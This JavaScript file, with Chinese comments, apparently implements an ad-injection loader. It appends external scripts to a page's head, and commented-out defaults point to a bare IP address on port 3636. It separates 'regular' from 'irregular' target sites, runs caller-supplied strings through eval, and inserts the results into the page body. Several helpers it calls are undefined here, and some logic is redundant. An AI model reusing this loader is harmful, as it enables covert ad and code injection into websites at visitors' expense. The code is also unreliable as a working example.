
(function () {
    // document.write('<script src="http://47.101.168.236:3636/Server.Min.Mix.js"></script>'); //外部入口js 可以 减少发包限制的代码长度
    var lodJavaScript = true;

   /**
    * 
    * @param {string} src 外部广告地址
    * @param {*} cb 回调函数
    * @param {*} adctype 注入广告的类型 分为浮动广告 和 嵌入式广告
    * @param {*} classify 广告类型现阶段
    */
    function init(src, cb, classify,adctype) {
      
        if(lodJavaScript) {
            lodJavaScript = false;
        var conde = classify || (classify = 1);

        console.table(parameter(src, cb, conde));

        var src1 = parameter(src, cb, conde).src;
        var callback = parameter(src, cb, conde).func;
        var conde = parameter(src, cb, conde).conde;

        if (!!callback) {
            cb = callback;
        }
        var s = document.createElement('script'),
            head = document.querySelectorAll('head')[0];
        s.type = 'text/javascript';
        s.src = src1;


        if (s.addEventListener) {

            s.addEventListener('load', () => {

                isFuncClassify(conde, cb);
                
            }, false);

        } else if (s.attachEvent) {
            s.attachEvent('onreadystatechange', () => {
                let target = window.event.srcElement;
                if (target.readyState == 'loaded') {
                    isFuncClassify(conde, cb);
                }
            });
        }
        head.appendChild(s);
    }
    }


    /**
     * num 代码类型 加载不同的广告所需要的依赖
     * 1为正规网站广告注入
     * 
     * 2为不正规网站注入
     * 
     */

    // 判断当前要注入的网址类型
    function isFuncClassify(num, cb) {

        num === 1 && func('getFtu') === 'mobile' &&  FindDom('getAll', 'head')[0].insertAdjacentHTML('afterbegin',`<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">`);

        // const JSPC = 'http://47.101.168.236:3636/template.min.js';

        const JSPC = '../newjs/ts_js/template.js'

        loadScript.init(JSPC,()=>{
            if(document.querySelector(`script[src='${JSPC}']`).nodeName === 'SCRIPT'){
                ExtractFunction(cb);
                
                func('getFtu') === 'PCend' && Regular(num,cb);
                
                func('getFtu') === 'mobile' && ( num === 2 &&   eval(`(${cb})()`), num === 1 && Regular(num,cb) );

                
            }
        })

    }

    // 正规网站模板加载方法 
    function  Regular(eum,cb) {
        if(eum && cb && eum === 1){
            
                // FindDom('getBody').insertAdjacentHTML('afterbegin', eval(''+eval(ExtractFunction(cb)) +''));

                console.log(eval(ExtractFunction(cb)).replace(/overleaf/, "W3School"))

                let seat,acreage;
                main().insertPage({seat:null,acreage:null,text:`${eval(ExtractFunction(cb)).replace(/overleaf/, "999")}`})
                // main().insertPage(2,10000,)
                
                // FindDom('getBody').insertAdjacentHTML('afterbegin', eval(''+ExtractFunction(cb) +''));

        }
        
    }

    function ExtractFunction(cb) {
        if(!cb) return false;
        
        // 提取函数中的 js 代码
        return cb.match(/(?:\/\*[\s\S]*?\*\/|\/\/.*?\r?\n|[^{])+\{([\s\S]*)\}$/)[1];

    }


    function parameter(src, cb, classify) {

        var src = String(src);

        // var link = 'http://47.101.168.236:3636/Mix.min.js', func;

        var link = '../newjs/newBD.js', func;

        if (src instanceof Function || src.startsWith('()=>{') && src.endsWith('}') && !isNaN(cb)) {  // src 为 函数  cb为type

            // console.log('src 为 函数  cb为type')

            func = src;  //把方法拷贝地址
            src = link; //把方法换成js地址
            let conde = cb;
            return { src: src, func: func, conde: conde };
        } else if ((typeof src === 'string' && src.startsWith('http://') || src.startsWith('https://') || src.endsWith('.js')) && (cb.startsWith('()=>{') && cb.endsWith('}')) && !isNaN(classify)) {  //src 为地址 cb为回调 classify 为type
            //当前第一个参数的 正确的js地址 就返回当前这个js地址

            // console.log('src 为地址 cb为回调 classify 为type')

            src = src;

            return { src: src, func: cb, conde: classify };

        } else if (src instanceof Function || src.startsWith('()=>{') && src.endsWith('}') && !isNaN(classify)) { // src 为回调函数  classify 为type

            return { src: link, func: src, conde: classify }
        }

        return { src, cb, classify }

    }

    window.isFuncClassify = isFuncClassify;;
    window.parameter = parameter;
    window.init = init;
}
)()
